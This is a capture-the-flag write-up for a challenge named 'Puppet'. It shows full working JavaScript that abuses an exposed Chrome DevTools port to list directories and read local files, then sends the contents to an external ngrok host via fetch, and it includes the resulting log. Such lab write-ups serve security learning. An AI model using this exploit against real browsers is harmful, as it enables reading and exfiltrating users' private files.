# Puppet
The flag has a random name in ~/Documents \Pwn my browser >:)
```javascriptconst browser = await puppeteer.launch({  dumpio: true,  args: [    '--disable-web-security',    '--user-data-dir=/tmp/chrome',    '--remote-debugging-port=5000',    '--disable-dev-shm-usage', // Docker stuff    '--js-flags=--jitless' // No Chrome n-days please  ]})```
Challenge: http://35.225.84.51
Attachments: `puppet.zip`
## Solution
TLDR:> Abuse [Chrome DevTools Protocol](https://chromedevtools.github.io/devtools-protocol/)> as used [here](https://github.com/qxxxb/ctf/tree/master/2021/angstrom_ctf/watered_down_watermark)> to list directories and read arbitrary files.
We have to read`file:///home/inmate/Documents/flag_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.txt`.
```javascriptconst browser = await puppeteer.launch({  args: [    '--disable-dev-shm-usage',    '--disable-web-security',    '--user-data-dir=/tmp/chrome',    '--remote-debugging-port=5000'  ]})```
The DevTools port is usually randomized but for this challenge it's fixed to5000 so we don't have to do any painful port scanning.
Also we have `--disable-web-security`, which means Same-Origin Policy and CSPare all out the window. However, `file:///` URLs are still protected.
Solution:- Use the DevTools protocol to open `file:///home/inmate/Documents` and fetch  `document.body.textContent` through the WebSocket- Parse the HTML to get the filename of the flag, then use the same technique  to read the file contents.
Caveats:- Headless chrome chokes on `file:///` URLs that list directories, as mentioned  [here](https://github.com/puppeteer/puppeteer/issues/5737)- Workaround is to first do `view-source:file:///home/inmate/Documents` then  `document.body.textContent`
My solution:
```javascriptconst selfURL = "http://db7ec431f10a.ngrok.io";
function sleep(ms) {  return new Promise((resolve) => setTimeout(resolve, ms));}
function report(data) {  fetch(`${selfURL}/${encodeURIComponent(data)}`);}
async function openPage(url) {  const baseUrl = "http://localhost:5000";  const devtoolsURL = `${baseUrl}/json/new?${encodeURIComponent(url)}`;  const res = await fetch(devtoolsURL);  const data = await res.json();  await sleep(500); // Wait for the page to finish loading  return data.webSocketDebuggerUrl;}
function wsPromise(wsURL, onopen) {  return new Promise((resolve, reject) => { window.ws = new WebSocket(wsURL);
    ws.onerror = (e) => {      report("[ws.onerror] " + JSON.stringify(e));      reject(e);    };
    ws.onmessage = (e) => { resolve(e); };    ws.onopen = () => ws.send(onopen);  });}
const documentsDir = "file:///home/inmate/Documents";
(async () => {  var wsURL = await openPage("http://example.com");
  var res = await wsPromise(    wsURL,    JSON.stringify({      id: 0,      method: "Page.navigate",      params: {        url: `view-source:${documentsDir}`,      },    })  );  console.log("[Page.navigate]");  console.log(res);
  var res = await wsPromise(    wsURL,    JSON.stringify({      id: 0,      method: "Runtime.evaluate",      params: { expression: "document.body.textContent" },    })  );  console.log("[Runtime.evaluate]");  console.log(res);
  var html = JSON.parse(res.data).result.result.value;  console.log("[html]")  console.log(html)
  var doc = new DOMParser().parseFromString(html, "text/html");  var scripts = Array.from(doc.querySelectorAll("script"));
  // On non-headless chrome, this should be 5  var fileScripts = scripts.slice(2);
  var filenames = fileScripts.map(    (x) => x.text.match(/addRow\("(?<filename>.*?)".*/).groups.filename  );
  console.log("[filenames]")  console.log(filenames);
  for (const filename of filenames) {    var wsURL = await openPage(`${documentsDir}/${filename}`);    var res = await wsPromise(      wsURL,      JSON.stringify({        id: 0,        method: "Runtime.evaluate",        params: { expression: "document.body.textContent" },      })    );    console.log("[Runtime.evaluate]");    console.log(res);    var file = JSON.parse(res.data).result.result.value    report(`[${filename}] ${file}`);  }})();```
Output:```HTTP Requests-------------
GET /[flag_4835141fe1031b2cfece2f5ef524e1a1.txt] CCC{1f_0nly_th3r3_w4s_X55_0n_th3_d3vt00ls_p4g3}  404 File not foundGET /main.js                                                                                      200 OKGET /                                                                                             200 OK```